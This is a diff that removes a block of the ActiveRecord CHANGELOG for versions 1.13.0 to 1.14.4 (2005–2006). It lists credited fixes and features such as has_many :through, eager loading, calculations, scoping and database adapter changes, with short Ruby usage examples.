-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick Olson]
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
-
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick Olson]
-
-    class Account < ActiveRecord::Base
-      validates_uniqueness_of :email, :case_sensitive => false
-    end
-
-* Allow multiple association extensions with :extend option (closes #4666) [Josh Susser]
-
-    class Account < ActiveRecord::Base
-      has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
-    end
-
-
-*1.14.4* (August 8th, 2006)
-
-* Add warning about the proper way to validate the presence of a foreign key.  #4147 [Francois Beausoleil <francois.beausoleil@gmail.com>]
-
-* Fix syntax error in documentation. #4679 [Mislav Marohnić] 
-
-* Update inconsistent migrations documentation. #4683 [machomagna@gmail.com]
-
-
-*1.14.3* (June 27th, 2006)
-
-* Fix announcement of very long migration names.  #5722 [blake@near-time.com]
-
-* Update callbacks documentation. #3970 [Robby Russell <robby@planetargon.com>]
-
-* Properly quote index names in migrations (closes #4764) [John Long]
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
-
-
-*1.14.2* (April 9th, 2006)
-
-* Fixed calculations for the Oracle Adapter (closes #4626) [Michael Schoen]
-
-
-*1.14.1* (April 6th, 2006)
-
-* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. [Nicholas Seckar]
-
-* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
-
-* Enable Limit/Offset in Calculations (closes #4558) [lmarlow]
-
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick Olson]
-
-* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue@free.fr]
-
-* Allow AR::Base#respond_to? to behave when @attributes is nil [Ryan Davis]
-
-* Support eager includes when going through a polymorphic has_many association. [Rick Olson]
-
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick Olson]
-
-    class Post < ActiveRecord::Base
-      has_one :tagging, :as => :taggable
-    end
-
-    Post.find :all, :include => :tagging
-
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick Olson]
-
-* Added support for going through a polymorphic has_many association: (closes #4401) [Rick Olson]
-
-    class PhotoCollection < ActiveRecord::Base
-      has_many :photos, :as => :photographic
-      belongs_to :firm
-    end
-
-    class Firm < ActiveRecord::Base
-      has_many :photo_collections
-      has_many :photos, :through => :photo_collections
-    end
-
-* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. [ruben.nine@gmail.com]
-
-* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. [Florian Weber]
-
-* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations.  (closes #4456) [Stefan]
-
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick Olson]
-
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [David Heinemeier Hansson]
-
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [David Heinemeier Hansson]
-
-* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
-
-* Fixed broken OCIAdapter #4457 [Michael Schoen]
-
-
-*1.14.0* (March 27th, 2006)
-
-* Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
-
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick Olson]
-
-* Add support for :include to with_scope [andrew@redlinesoftware.com]
-
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [Michael Schoen]
-
-* Change periods (.) in table aliases to _'s.  Closes #4251 [jeff@ministrycentered.com]
-
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick Olson]
-
-* Fixed issue that kept :select options from being scoped [Rick Olson]
-
-* Fixed db_schema_import when binary types are present #3101 [David Heinemeier Hansson]
-
-* Fixed that MySQL enums should always be returned as strings #3501 [David Heinemeier Hansson]
-
-* Change has_many :through to use the :source option to specify the source association.  :class_name is now ignored. [Rick Olson]
-
-    class Connection < ActiveRecord::Base
-      belongs_to :user
-      belongs_to :channel
-    end
-
-    class Channel < ActiveRecord::Base
-      has_many :connections
-      has_many :contacts, :through => :connections, :class_name => 'User' # OLD
-      has_many :contacts, :through => :connections, :source => :user      # NEW
-    end
-
-* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 [contact@maik-schmidt.de]
-
-* Allow overriding of find parameters in scoped has_many :through calls [Rick Olson]
-
-  In this example, :include => false disables the default eager association from loading.  :select changes the standard
-  select clause.  :joins specifies a join that is added to the end of the has_many :through query.
-
-    class Post < ActiveRecord::Base
-      has_many :tags, :through => :taggings, :include => :tagging do
-        def add_joins_and_select
-          find :all, :select => 'tags.*, authors.id as author_id', :include => false,
-            :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
-        end
-      end
-    end
-
-* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [David Heinemeier Hansson]
-
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [Jonathan Viney]
-
-* Quit ignoring default :include options in has_many :through calls [Mark James]
-
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [Jonathan Viney]
-
-* Eager Loading support added for has_many :through => :has_many associations (see below).  [Rick Olson]
-
-* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net]  Example:
-
-    class Firm < ActiveRecord::Base
-      has_many :clients
-      has_many :invoices, :through => :clients
-    end
-
-    class Client < ActiveRecord::Base
-      belongs_to :firm
-      has_many   :invoices
-    end
-
-    class Invoice < ActiveRecord::Base
-      belongs_to :client
-    end
-
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [Josh Susser]
-
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [Jonathan Viney]
-
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick Olson]
-
-* SQL Server adapter gets some love #4298 [Ryan Tomayko]
-
-* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell@cdmplus.com]
-
-* Rework table aliasing to account for truncated table aliases.  Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
-
-    Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
-
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick Olson]
-
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Michael Koziarski]
-
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Michael Koziarski]
-
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom Ward]
-
-* Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco@pobox.com]
-
-* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
-
-* Use association's :conditions when eager loading. [Jeremy Evans] #4144
-
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 [Jeremy Evans]
-
-  This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
-
-    Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
-
-* Oracle adapter gets some love #4230 [Michael Schoen]
-
-    * Changes :text to CLOB rather than BLOB [Moses Hohman]
-    * Fixes an issue with nil numeric length/scales (several)
-    * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
-    * Tweaks a unit test to get it all green again
-    * Adds support for #current_database
-
-* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 [Rick Olson]
-
-    class CachedModel < ActiveRecord::Base
-      self.abstract_class = true
-    end
-
-    class Post < CachedModel
-    end
-
-    CachedModel.abstract_class?
-    => true
-
-    Post.abstract_class?
-    => false
-
-    Post.base_class
-    => Post
-
-    Post.table_name
-    => 'posts'
-
-* Allow :dependent options to be used with polymorphic joins. #3820 [Rick Olson]
-
-    class Foo < ActiveRecord::Base
-      has_many :attachments, :as => :attachable, :dependent => :delete_all
-    end
-
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay]
-
-* Upgrade to Transaction::Simple 1.3 [Jamis Buck]
-
-* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model [Rick Olson]
-
-* Allow ordering of calculated results and/or grouped fields in calculations [solo@gatelys.com]
-
-* Make ActiveRecord::Base#save! return true instead of nil on success.  #4173 [johan@johansorensen.com]
-
-* Dynamically set allow_concurrency.  #4044 [Stefan Kaes]
-
-* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
-
-    topic.to_xml
-
-  ...returns:
-
-    <?xml version="1.0" encoding="UTF-8"?>
-    <topic>
-      <title>The First Topic</title>
-      <author-name>David</author-name>
-      <id type="integer">1</id>
-      <approved type="boolean">false</approved>
-      <replies-count type="integer">0</replies-count>
-      <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
-      <written-on type="datetime">2003-07-16 09:28:00</written-on>
-      <content>Have a nice day</content>
-      <author-email-address>david@loudthinking.com</author-email-address>
-      <parent-id></parent-id>
-      <last-read type="date">2004-04-15</last-read>
-    </topic>
-
-  ...and you can configure with:
-
-    topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
-
-  ...that'll return:
-
-    <topic>
-      <title>The First Topic</title>
-      <author-name>David</author-name>
-      <approved type="boolean">false</approved>
-      <content>Have a nice day</content>
-      <author-email-address>david@loudthinking.com</author-email-address>
-      <parent-id></parent-id>
-      <last-read type="date">2004-04-15</last-read>
-    </topic>
-
-  You can even do load first-level associations as part of the document:
-
-    firm.to_xml :include => [ :account, :clients ]
-
-  ...that'll return something like:
-
-    <?xml version="1.0" encoding="UTF-8"?>
-    <firm>
-      <id type="integer">1</id>
-      <rating type="integer">1</rating>
-      <name>37signals</name>
-      <clients>
-        <client>
-          <rating type="integer">1</rating>
-          <name>Summit</name>
-        </client>
-        <client>
-          <rating type="integer">1</rating>
-          <name>Microsoft</name>
-        </client>
-      </clients>
-      <account>
-        <id type="integer">1</id>
-        <credit-limit type="integer">50</credit-limit>
-      </account>
-    </firm>  
-
-* Allow :counter_cache to take a column name for custom counter cache columns [Jamis Buck]
-
-* Documentation fixes for :dependent [robby@planetargon.com]
-
-* Stop the MySQL adapter crashing when views are present. #3782 [Jonathan Viney]
-
-* Don't classify the belongs_to class, it is already singular #4117 [keithm@infused.org]
-
-* Allow set_fixture_class to take Classes instead of strings for a class in a module.  Raise FixtureClassNotFound if a fixture can't load.  [Rick Olson]
-
-* Fix quoting of inheritance column for STI eager loading #4098 [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Added smarter table aliasing for eager associations for multiple self joins #3580 [Rick Olson]
-
-    * The first time a table is referenced in a join, no alias is used.
-    * After that, the parent class name and the reflection name are used.
-
-        Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
-
-    * Any additional join references get a numerical suffix like '_2', '_3', etc.
-
-* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
-
-* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
-
-    # cascaded in two levels
-    >> Author.find(:all, :include=>{:posts=>:comments})
-    => authors
-         +- posts
-              +- comments
-
-    # cascaded in two levels and normal association
-    >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
-    => authors
-         +- posts
-              +- comments
-         +- categorizations
-
-    # cascaded in two levels with two has_many associations
-    >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
-    => authors
-         +- posts
-              +- comments
-              +- categorizations
-
-    # cascaded in three levels
-    >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
-    => companies
-         +- groups
-              +- members
-                   +- favorites
-
-* Make counter cache work when replacing an association #3245 [eugenol@gmail.com]
-
-* Make migrations verbose [Jamis Buck]
-
-* Make counter_cache work with polymorphic belongs_to [Jamis Buck]
-
-* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 [anna@wota.jp]
-
-* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
-
-    * Does not support DATE SQL column types; use DATETIME instead.
-    * Date columns on HABTM join tables are returned as String, not Time.
-    * Insertions are potentially broken for :polymorphic join tables
-    * BLOB column access not yet fully supported
-
-* Clear stale, cached connections left behind by defunct threads. [Jeremy Kemper]
-
-* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false.  Most AR usage is in single-threaded applications. [Jeremy Kemper]
-
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [Michael Schoen]
-
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [David Heinemeier Hansson]
-
-* Speed up class -> connection caching and stale connection verification.  #3979 [Stefan Kaes]
-
-* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. [Kevin Clark]
-
-* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack@wobblini.net]
-
-* Define attribute query methods to avoid method_missing calls. #3677 [Jonathan Viney]
-
-* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome.  #3591 [Simon Stapleton, Tom Ward]
-
-* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
-
-    Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
-      Developer.find(:all)     # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
-
-      # inner rule is used. (all previous parameters are ignored)
-      Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
-        Developer.find(:all)   # => SELECT * FROM developers WHERE (name = 'Jamis')
-      end
-
-      # parameters are merged
-      Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
-        Developer.find(:all)   # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
-      end
-    end
-
-* Fixed db2 connection with empty user_name and auth options #3622 [phurley@gmail.com]
-
-* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
-
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [Lars Pind]
-
-* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
-
-    Person.average :age
-    Person.minimum :age
-    Person.maximum :age
-    Person.sum :salary, :group => :last_name
-
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [Luke Redpath]
-
-* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
-
-* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 [Aggregated by schoenm@earthlink.net]
-
-* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails@atyp.de]
-
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
-
-* Correct syntax error in mysql DDL,  and make AAACreateTablesTest run first [Bob Silva]
-
-* Allow :include to be used with has_many :through associations #3611 [Michael Schoen]
-
-* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table).  #2920 [Blair Zajac]
-
-* SQLServer: more compatible limit/offset emulation.  #3779 [Tom Ward]
-
-* Polymorphic join support for has_one associations (has_one :foo, :as => :bar)  #3785 [Rick Olson]
-
-* PostgreSQL: correctly parse negative integer column defaults.  #3776 [bellis@deepthought.org]
-
-* Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
-
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Lütke]
-
-* Using AssociationCollection#build with arrays of hashes should call build, not create [David Heinemeier Hansson]
-
-* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
-
-* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
-
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [Shugo Maeda]
-
-* Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* If the OCI library is not available, raise an exception indicating as much. #3593 [Michael Schoen]
-
-* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
-
-* Make dynamic finders honor additional passed in :conditions. #3569 [Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.]
-
-* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
-
-* Make .count work for has_many associations with multi line finder sql [Michael Schoen]
-
-* Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
-
-* Allow configuration of the column used for optimistic locking [wilsonb@gmail.com]
-
-* Don't hardcode 'id' in acts as list.  [ror@philippeapril.com]
-
-* Fix date errors for SQLServer in association tests. #3406 [Kevin Clark]
-
-* Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna@wota.jp]
-
-* Disambiguate table names for columns in validates_uniquness_of's WHERE clause. #3423 [alex.borovsky@gmail.com]
-
-* .with_scope imposed create parameters now bypass attr_protected [Tobias Lütke]
-
-* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
-
-* Multiple enhancements and adjustments to DB2 adaptor. #3377 [contact@maik-schmidt.de]
-
-* Sanitize scoped conditions. [Marcel Molina Jr.]
-
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [David Heinemeier Hansson]
-
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [Tobias Lütke]
-
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [Tobias Lütke]
-
-* Fixed that saving a model with multiple habtm associations would only save the first one.  #3244 [yanowitz-rubyonrails@quantumfoam.org, Florian Weber]
-
-* Fix change_column to work with PostgreSQL 7.x and 8.x.  #3141 [wejn@box.cz, Rick Olson, Scott Barron] 
-
-* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Lütke] 
-
-* made method missing delegation to class methods on relation target work on :through associations. [Tobias Lütke] 
-
-* made .find() work on :through relations. [Tobias Lütke] 
-
-* Fix typo in association docs. #3296. [Blair Zajac]
-
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Lütke] 
-
-*1.13.2* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* MySQL: allow encoding option for mysql.rb driver.  [Jeremy Kemper]
-
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
-
-    class Post
-      has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
-    end
-
-    post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
-    post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
-    post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
-
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]
-
-* MySQL: fixes for the bundled mysql.rb driver.  #3160 [Justin Forder]
-
-* SQLServer: fix obscure optimistic locking bug.  #3068 [kajism@yahoo.com]
-
-* SQLServer: support uniqueidentifier columns.  #2930 [keithm@infused.org]
-
-* SQLServer: cope with tables names qualified by owner.  #3067 [jeff@ministrycentered.com]
-
-* SQLServer: cope with columns with "desc" in the name.  #1950 [Ron Lusk, Ryan Tomayko]
-
-* SQLServer: cope with primary keys with "select" in the name.  #3057 [rdifrango@captechventures.com]
-
-* Oracle: active? performs a select instead of a commit.  #3133 [Michael Schoen]
-
-* MySQL: more robust test for nullified result hashes.  #3124 [Stefan Kaes]
-
-* Reloading an instance refreshes its aggregations as well as its associations.  #3024 [François Beausoleil]
-
-* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
-
-* PostgreSQL: more robust sequence name discovery.  #3087 [Rick Olson]
-
-* Oracle: use syntax compatible with Oracle 8.  #3131 [Michael Schoen]
-
-* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat.  Eliminate usage of mysql.ping because it doesn't guarantee reconnect.  Explicitly close and reopen the connection instead.  [Jeremy Kemper]
-
-* Added preliminary support for polymorphic associations [David Heinemeier Hansson]
-
-* Added preliminary support for join models [David Heinemeier Hansson]
-
-* Allow validate_uniqueness_of to be scoped by more than just one column.  #1559. [jeremy@jthopple.com, Marcel Molina Jr.]
-
-* Firebird: active? and reconnect! methods for handling stale connections.  #428 [Ken Kunz <kennethkunz@gmail.com>]
-
-* Firebird: updated for FireRuby 0.4.0.  #3009 [Ken Kunz <kennethkunz@gmail.com>]
-
-* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver.  #428 [Jeremy Kemper]
-
-* Oracle: active? check pings the database rather than testing the last command status.  #428 [Michael Schoen]
-
-* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find.  #2974 [kajism@yahoo.com]
-
-* Reloading a model doesn't lose track of its connection.  #2996 [junk@miriamtech.com, Jeremy Kemper]
-
-* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 [colman@rominato.com, Florian Weber, Michael Schoen]
-
-* MySQL, PostgreSQL: reconnect! also reconfigures the connection.  Otherwise, the connection 'loses' its settings if it times out and is reconnected.  #2978 [Shugo Maeda]
-
-* has_and_belongs_to_many: use JOIN instead of LEFT JOIN.  [Jeremy Kemper]
-
-* MySQL: introduce :encoding option to specify the character set for client, connection, and results.  Only available for MySQL 4.1 and later with the mysql-ruby driver.  Do SHOW CHARACTER SET in mysql client to see available encodings.  #2975 [Shugo Maeda]
-
-* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test  databases. [Marcel Molina Jr.]
-
-* Correct boolean handling in generated reader methods.  #2945 [Don Park, Stefan Kaes]
-
-* Don't generate read methods for columns whose names are not valid ruby method names.  #2946 [Stefan Kaes]
-
-* Document :force option to create_table.  #2921 [Blair Zajac <blair@orcaware.com>]
-
-* Don't add the same conditions twice in has_one finder sql.  #2916 [Jeremy Evans]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Introducing the Firebird adapter.  Quote columns and use attribute_condition more consistently.  Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter  #1874 [Ken Kunz <kennethkunz@gmail.com>]
-
-* SQLServer: active? and reconnect! methods for handling stale connections.  #428 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array.  #1345 [MarkusQ@reality.com]
-
-* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY.  #2866 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Oracle: active? and reconnect! methods for handling stale connections.  Optionally retry queries after reconnect.  #428 [Michael Schoen <schoenm@earthlink.net>]
-
-* Correct documentation for Base.delete_all.  #1568 [Newhydra]
-
-* Oracle: test case for column default parsing.  #2788 [Michael Schoen <schoenm@earthlink.net>]
-
-* Update documentation for Migrations.  #2861 [Tom Werner <tom@cube6media.com>]
-
-* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection.  Connection adapter must respond to the active? and reconnect! instance methods.  Initial support for PostgreSQL, MySQL, and SQLite.  Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil?  #428 [Jeremy Kemper]
-
-* Oracle: Much faster column reflection.  #2848 [Michael Schoen <schoenm@earthlink.net>]
-
-* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing).  Base.define_attr_method allows nil values.  [Jeremy Kemper]
-
-* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence.  [Jeremy Kemper]
-
-* PostgreSQL: correctly discover custom primary key sequences.  #2594 [Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper]
-
-* SQLServer: don't report limits for unsupported field types.  #2835 [Ryan Tomayko]
-
-* Include the Enumerable module in ActiveRecord::Errors.  [Rick Bradley <rick@rickbradley.com>]
-
-* Add :group option, correspond to GROUP BY, to the find method and to the has_many association.  #2818 [rubyonrails@atyp.de]
-
-* Don't cast nil or empty strings to a dummy date.  #2789 [Rick Bradley <rick@rickbradley.com>]
-
-* acts_as_list plays nicely with inheritance by remembering the class which declared it.  #2811 [rephorm@rephorm.com]
-
-* Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
-
-* Fixed acts_as_list for definitions without an explicit :order #2803 [Jonathan Viney]
-
-* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support.  Local change [301] is now a part of the main driver; reapplied local change [2182].  Removed GC.start from Result.free.  [tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper]
-
-* Correct handling of complex order clauses with SQL Server limit emulation.  #2770 [Tom Ward <tom@popdog.net>, Matt B.]
-
-* Correct whitespace problem in Oracle default column value parsing.  #2788 [rick@rickbradley.com]
-
-* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy.  This allows you to act on the habtm association as you please while preserving referential integrity.  #2065 [larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper]
-
-* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all.  [Jeremy Kemper]
-
-* More compatible Oracle column reflection.  #2771 [Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>]
-
-
-*1.13.0* (November 7th, 2005)
-
-* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
-
-* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
-
-    has_many :posts, :include => [ :author, :comments ]
-
-* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints.  Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes.  [Jeremy Kemper]  Example:
-
-    Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
-      # Find where name = ? and active=true
-      Comment.find :all, :conditions => ['name = ?', name]
-      # Create comment associated with :post_id
-      Comment.create :body => "Hello world"
-    end
-
-* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
-
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
-
-    Comment.constrain(:creation => { :post_id => 5 }) do
-      # Associated with :post_id
-      Comment.create :body => "Hello world"
-    end
-
-  This is rarely used directly, but allows for find_or_create on associations. So you can do:
-
-    # If the tag doesn't exist, a new one is created that's associated with the person
-    person.tags.find_or_create_by_name("Summer")
-
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
-
-    # No 'Summer' tag exists
-    Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-
-    # Now the 'Summer' tag does exist
-    Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
-
-    class Account < ActiveRecord::Base
-      has_many :people do
-        def find_or_create_by_name(name)
-          first_name, *last_name = name.split
-          last_name = last_name.join " "
-
-          find_or_create_by_first_name_and_last_name(first_name, last_name)
-        end
-      end
-    end
-
-    person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
-    person.first_name # => "David"
-    person.last_name  # => "Heinemeier Hansson"
-
-  Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
-
-* Omit internal dtproperties table from SQLServer table list.  #2729 [Ryan Tomayko]
-
-* Quote column names in generated SQL.  #2728 [Ryan Tomayko]
-
-* Correct the pure-Ruby MySQL 4.1.1 shim's version test.  #2718 [Jeremy Kemper]
-
-* Add Model.create! to match existing model.save! method.  When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors).  [Jeremy Kemper]
-
-* Correct fixture behavior when table name pluralization is off.  #2719 [Rick Bradley <rick@rickbradley.com>]
-
